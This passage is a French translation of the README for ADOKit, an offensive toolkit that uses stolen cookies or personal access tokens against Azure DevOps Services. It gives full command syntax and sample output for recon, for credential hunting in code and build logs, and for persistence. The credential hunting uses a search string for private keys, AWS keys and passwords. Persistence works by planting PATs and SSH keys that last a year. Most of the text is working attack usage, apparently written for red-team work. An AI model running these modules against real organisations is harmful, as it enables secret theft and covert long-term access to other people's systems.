
Kit d'attaque modulaire exploitant l'API REST d'Azure DevOps pour la reconnaissance, l'élévation de privilèges et la persistance à l'aide de cookies ou de PAT volés.
Azure DevOps Services Attack Toolkit - ADOKit est une boîte à outils permettant d'attaquer Azure DevOps Services en exploitant l'API REST disponible. L'outil permet à l'utilisateur de spécifier un module d'attaque, ainsi que des identifiants valides (clé API ou cookie d'authentification volé) pour l'instance Azure DevOps Services concernée. Les modules d'attaque pris en charge incluent la reconnaissance, l'élévation de privilèges et la persistance. ADOKit a été conçu de manière modulaire, afin que de nouveaux modules puissent être ajoutés à l'avenir par la communauté de la sécurité de l'information.
Les détails complets sur les techniques utilisées par ADOKit se trouvent dans le livre blanc de X-Force Red.
Les diapositives de présentation et les démos sont incluses dans le dossier BHUSA Arsenal 2024 de ce dépôt.
Les bibliothèques tierces suivantes sont utilisées dans ce projet.
| Bibliothèque | URL | Licence |
|---|---|---|
| Fody | https://github.com/Fody/Fody | Licence MIT |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | Licence MIT |
Suivez les étapes ci-dessous pour configurer Visual Studio afin de compiler vous-même le projet. Cela nécessite deux bibliothèques .NET qui peuvent être installées depuis le gestionnaire de paquets NuGet.
https://api.nuget.org/v3/index.jsonInstall-Package Costura.Fody -Version 3.3.3Install-Package Newtonsoft.Json"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"Voici les options d'authentification dont vous disposez avec ADOKit lors de l'authentification à une instance Azure DevOps.
UserAuthentication sur la machine d'un utilisateur pour le domaine .dev.azure.com.
/credential:UserAuthentication=ABC123AadAuthentication sur la machine d'un utilisateur pour le domaine .dev.azure.com.
/credential:eyJ0.../credential:apiToken"aud":"https://management.core.windows.net/" ou Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
/credential:eyJ0..Le tableau ci-dessous montre les autorisations requises pour chaque module.
Effectue une vérification d'authentification pour s'assurer que l'organisation utilise Azure DevOps et que les identifiants fournis sont valides.
Fournissez le module check, ainsi que les informations d'authentification pertinentes et l'URL. Cela indiquera si l'organisation fournie utilise Azure DevOps, et si c'est le cas, tentera de valider les identifiants fournis.
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### Cas d'utilisation
> *Obtenir l'utilisateur actuel et ses appartenances aux groupes*
#### Syntaxe
Fournissez le module `whoami`, ainsi que toutes les informations d'authentification pertinentes et l'URL. Cela affichera l'utilisateur actuel et toutes ses appartenances aux groupes.
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemple de sortie```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
Récupérer les organisations à l'aide d'un jeton d'accès donné.
Fournissez au module listorgs les informations d'authentification requises. Par défaut, cette commande liste uniquement les organisations accessibles avec le jeton d'accès fourni.
/mode:aad pour énumérer toutes les organisations DevOps dans le locataire Azure AD, indépendamment de l'accès direct./endpoint:ENDPOINT_NAME pour spécifier un point d'extrémité AEX personnalisé.
"X-VSS-DeploymentAffinity" depuis aex.dev.azure.com.ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### Lister les dépôts
#### Cas d'utilisation
> *Découvrir les dépôts utilisés dans une instance Azure DevOps*
#### Syntaxe
Fournissez le module `listrepo`, ainsi que toute information d'authentification pertinente et l'URL. Cela affichera le nom du dépôt et l'URL.
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemple de sortie```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Rechercher des dépôts par nom de dépôt dans une instance Azure DevOps
Fournissez le module searchrepo et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom et l'URL du dépôt correspondant.
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
### Liste des Projets
#### Cas d'utilisation
> *Découvrir les projets utilisés dans une instance Azure DevOps*
#### Syntaxe
Fournissez le module `listproject`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom du projet, la visibilité (public ou privé) et l'URL.
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemple de sortie```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Rechercher des projets par nom de projet dans une instance Azure DevOps
Fournissez le module searchproject et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom du projet correspondant, sa visibilité (public ou privé) et l'URL.
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
### Rechercher du code
#### Cas d'utilisation
> *Rechercher du code contenant un mot-clé donné dans une instance Azure DevOps*
#### Syntaxe
Fournissez le module `searchcode` et vos critères de recherche dans l'argument de ligne de commande `/search:`, ainsi que les informations d'authentification pertinentes et l'URL. Cela affichera l'URL du fichier de code correspondant, ainsi que la ligne dans le code qui a correspondu.
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### Exemple de sortie```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
Rechercher des fichiers dans les dépôts contenant un mot-clé donné dans le nom du fichier dans Azure DevOps
Fournissez le module searchfile et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi que toute information d'authentification et URL pertinente. Cela affichera l'URL du fichier correspondant dans son dépôt respectif.
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
### Recherche de Creds
#### Cas d'utilisation
> *Rechercher du code contenant des secrets tels que des mots de passe ou des clés API dans Azure DevOps*
#### Syntaxe
Fournissez le module `creds`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera l'URL du fichier correspondant dans son dépôt respectif, et la ou les lignes correspondantes où les credentials sont présents.
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemple de sortie```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
Téléchargez les journaux de toutes les exécutions de pipeline (journaux de build). Vous pouvez ensuite rechercher hors ligne des informations et/ou des secrets.
Fournissez le module getbuildlogs avec un /project: pour un projet donné afin de télécharger tous les journaux de build de ce projet. Si vous souhaitez les télécharger pour tous les projets, spécifiez all dans l'argument /project:. Cela créera un dossier ADOKit-[8 caractères aléatoires] dans votre répertoire de travail actuel pour y télécharger les journaux.
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
### Lister les Journaux de Construction
#### Cas d'Utilisation
> *Liste les journaux de construction disponibles pour un projet donné ou pour tous les projets.*
#### Syntaxe
Fournissez le module `listbuildlogs` avec un `/project:` pour un projet donné afin de lister tous les journaux de construction de ce projet. Si vous souhaitez les lister pour tous les projets, spécifiez `all` dans l'argument `/project:`.
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### Exemple de Sortie```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
Rechercher dans les journaux de build contenant un mot-clé donné dans une instance Azure DevOps
Fournissez le module searchbuildlogs et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi qu'un /project: pour un projet donné afin de rechercher dans tous les journaux de build de ce projet. Si vous souhaitez rechercher dans les journaux de build de tous les projets, spécifiez all dans l'argument /project:. Cela produira l'URL du fichier journal de sortie de build correspondant, ainsi que la ligne du journal de build qui a correspondu.
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
### Créer un PAT
#### Cas d'utilisation
> *Créer un jeton d'accès personnel (PAT) pour un utilisateur pouvant être utilisé pour la persistance sur une instance Azure DevOps.*
#### Syntaxe
Fournissez le module `createpat`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera l'ID du PAT, le nom, la portée, la date de validité jusqu'à, et le contenu du jeton pour le PAT créé. Le nom du PAT créé sera `ADOKit-` suivi d'une chaîne aléatoire de 8 caractères. La date de validité du PAT sera d'un an à compter de sa création, car c'est le maximum autorisé par Azure DevOps.
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemple de sortie```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
Lister tous les jetons d'accès personnel (PAT) pour un utilisateur donné dans une instance Azure DevOps.
Fournissez le module listpat, ainsi que toute information d'authentification pertinente et l'URL. Cela affichera l'ID PAT, le nom, la portée et la date de validité pour tous les PAT actifs de l'utilisateur.
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
### Supprimer un PAT
#### Cas d'utilisation
> *Supprimer un PAT pour un utilisateur donné dans une instance Azure DevOps.*
#### Syntaxe
Fournissez le module `removepat`, ainsi que les informations d'authentification pertinentes et l'URL. De plus, fournissez l'ID du PAT dans l'argument `/id:`. Cela indiquera si le PAT a été supprimé ou non, puis listera les PAT actifs actuels de l'utilisateur après la suppression.
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### Exemple de sortie```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
Créer une clé SSH pour un utilisateur qui peut être utilisée pour la persistance sur une instance Azure DevOps.
Fournissez le module createsshkey, ainsi que toute information d'authentification et URL pertinente. De plus, fournissez votre clé publique SSH dans l'argument /sshkey:. Cela affichera l'ID de la clé SSH, le nom, la portée, la date de validité et les 20 derniers caractères de la clé publique SSH pour la clé SSH créée. Le nom de la clé SSH créée sera ADOKit- suivi d'une chaîne aléatoire de 8 caractères. La date de validité de la clé SSH sera d'un an à compter de la date de création, car c'est le maximum autorisé par Azure DevOps.
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
### Lister les clés SSH
#### Cas d'utilisation
> *Liste toutes les clés SSH publiques pour un utilisateur donné dans une instance Azure DevOps.*
#### Syntaxe
Fournissez le module `listsshkey`, ainsi que les informations d'authentification pertinentes et l'URL. Cela affichera l'ID de la clé SSH, le nom, la portée et la date de validité pour toutes les clés SSH actives de l'utilisateur. De plus, il imprimera les 20 derniers caractères de la clé SSH publique.
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemple de sortie```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
Supprimer une clé SSH pour un utilisateur donné dans une instance Azure DevOps.
Fournissez le module removesshkey, ainsi que les informations d'authentification et l'URL pertinentes. De plus, fournissez l'ID de la clé SSH dans l'argument /id:. Cela indiquera si la clé SSH a été supprimée ou non, puis listera les clés SSH actives actuelles pour l'utilisateur après la suppression.
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
### Liste des Utilisateurs
#### Cas d'Utilisation
> *Lister les utilisateurs d'une instance Azure DevOps*
#### Syntaxe
Fournissez le module `listuser`, ainsi que les informations d'authentification et l'URL appropriées. Cela affichera le nom d'utilisateur, le nom d'affichage et le nom principal de l'utilisateur.
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemple de Sortie```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
Rechercher un ou plusieurs utilisateurs donnés dans une instance Azure DevOps
Fournissez le module searchuser et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi que toute information d'authentification pertinente et l'URL. Cela affichera le nom d'utilisateur, le nom d'affichage et le nom principal de l'utilisateur correspondants.
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
### Lister les équipes
#### Cas d'utilisation
> *Lister les équipes dans une instance Azure DevOps*
#### Syntaxe
Fournissez le module `listteam`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom de l'équipe, le nom du projet et la description de l'équipe.
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemple de sortie```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Rechercher une ou plusieurs équipes spécifiées dans une instance Azure DevOps
Fournissez le module searchteam et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi que les informations d'authentification et l'URL appropriées. Cela affichera le nom de l'équipe, le nom du projet et la description de l'équipe.
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
